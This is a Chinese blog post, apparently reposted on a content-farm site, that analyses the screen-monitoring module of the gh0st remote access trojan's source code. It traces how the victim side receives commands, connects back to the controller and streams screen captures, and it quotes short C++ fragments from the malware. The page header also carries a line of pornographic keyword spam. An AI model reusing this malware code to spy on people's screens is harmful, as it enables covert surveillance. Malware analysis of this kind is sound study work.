日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st源码分析:屏幕监控

發布時間:2024/4/11 编程问答 54 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st源码分析:屏幕监控 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這兩天一直看gh0st源碼,看得也是一頭霧水,下面就分析一下屏幕監控的通信過程,對屏幕掃描算法以及繪圖方面就不分析了,因為我也不懂。寫的有點亂,就當作個筆記了。

首先從控制端按下屏幕監控選項開始,這時控制端就會調用OnScreenspy()函數。這個函數很簡單,向被控端發送COMMAND_SCREEN_SPY指令,告訴被控端我要監控你的屏幕了。此時被控端還在等待控制端的命令(ClientSocket.cpp中的Connect函數中新建的線程WorkThread一直等待執行命令),WorkThread線程等到了執行命令,調用OnRead函數對命令解密,接下來調用了CKernelManager::OnReceive函數,OnReceive看到命令是COMMAND_SCREEN_SPY,就創建了Loop_ScreenManager線程:

DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote) {CClientSocket socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CScreenManager manager(&socketClient);socketClient.run_event_loop();return 0; }

這個線程又調用CClientSocket的Connect連接控制端,并聲明了個CScreenManager類,并將socketClient與CScreenManager相關聯(參見CManager類的構造函數:m_pClient->setManagerCallBack(this);),這樣socketClient的WorkThread線程收到的數據就可以傳送到了CScreenManager::OnReceive函數中,而不是CKernelManager::OnReceive函數了。

看下CScreenManager?構造函數:

?

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient) {m_bAlgorithm = ALGORITHM_SCAN;m_biBitCount = 8;m_pScreenSpy = new CScreenSpy(8);m_bIsWorking = true;m_bIsBlankScreen = false;m_bIsBlockInput = false;m_bIsCaptureLayer = false;m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true); }

?

構造函數中又創建了兩個線程:WorkThread和ControlThread。WorkThread主要負責發送屏幕頁面,ControlThread沒看,暫時不知道干啥。看下WorkThread線程:

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam) {CScreenManager *pThis = (CScreenManager *)lparam;pThis->sendBITMAPINFO();// 等控制端對話框打開pThis->WaitForDialogOpen();pThis->sendFirstScreen();try // 控制端強制關閉時會出錯 {while (pThis->m_bIsWorking)pThis->sendNextScreen();}catch(...){};return 0; }

首先調用sendBITMAPINFO(),發送調色板信息(用TOKEN_BITMAPINFO指令標識)。發送后就等待控制端屏幕監控窗口打開(等待m_hEventDlgOpen事件,當控制端屏幕監控窗口打開時會發送COMMAND_NEXT指令,收到此指令后被控端會調用NotifyDialogIsOpen()函數來設置hEventDlgOpen)。先讓被控端在這兒等著吧,接下來我們再回到控制端。

控制端發送完COMMAND_SCREEN_SPY指令后,就繼續等待連接(ListenThreadProc線程)和等待接收數據(OnClientReading函數中接收完數據就會調用PostRecv投遞了IORead請求)。這時有了新連接(上面Loop_ScreenManager中的連接),于是調用OnAccept函數,并為這個新的連接分配了ClientContext,并建立完成端口,然后在新的完成端口上投遞IORead請求,等待接收數據。很快數據來了(調色板信息),OnClientReading函數對數據解密,然后把數據給了NotifyProc函數,NotifyProc函數又調用了ProccessReceiveComplete函數,此時還沒有建立屏幕監控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根據TOKEN_BITMAPINFO指令,向主窗口發送了個WM_OPENSCREENSPYDIALOG消息,告訴主窗口建立個屏幕監控的窗口,于是控制端調用OnOpenScreenSpyDialog函數:

LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) {ClientContext *pContext = (ClientContext *)lParam;CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);// 設置父窗口為卓面dlg->Create(IDD_SCREENSPY, GetDesktopWindow());dlg->ShowWindow(SW_SHOW);pContext->m_Dialog[0] = SCREENSPY_DLG;pContext->m_Dialog[1] = (int)dlg;return 0; }

創建了屏幕監控窗口,并對pContext->m_Dialog賦值。m_Dialog[0]標識是屏幕監控窗口,m_Dialog[1]指向此窗口。這樣ProccessReceiveComplete函數就可以根據pContext->m_Dialog直接將數據傳給CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要調用OnInitDialog函數,在CScreenSpyDlg的OnInitDialog函數中,有調用了SendNext()函數:

?

void CScreenSpyDlg::SendNext() {BYTE bBuff = COMMAND_NEXT;m_iocpServer->Send(m_pContext, &bBuff, 1); }

?

發送COMMAND_NEXT指令給被控端。前面說了,被控端在發送調色板信息后就等待COMMAND_NEXT指令。

回到被控端,收到了數據,數據解密后傳到了CScreenManager::OnReceive函數中,根據COMMAND_NEXT指令調用了NotifyDialogIsOpen()函數,NotifyDialogIsOpen函數設置了m_hEventDlgOpen事件,?CScreenManager的WorkThread線程中WaitForDialogOpen()返回,于是執行pThis->sendFirstScreen(),發送第一個屏幕畫面,用TOKEN_FIRSTSCREEN來標識。

控制端收到數據后到了ProccessReceiveComplete函數,根據m_Dialog將數據傳給了CScreenSpyDlg中的OnReceiveComplete()函數,根據相關指令來重繪屏幕監控窗口。接下來被控端不停的發,控制端就不停的重繪.........

?還沒分析完,還有發送控制命令那一塊沒看,有時間再寫。

總結

以上是生活随笔為你收集整理的gh0st源码分析:屏幕监控的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。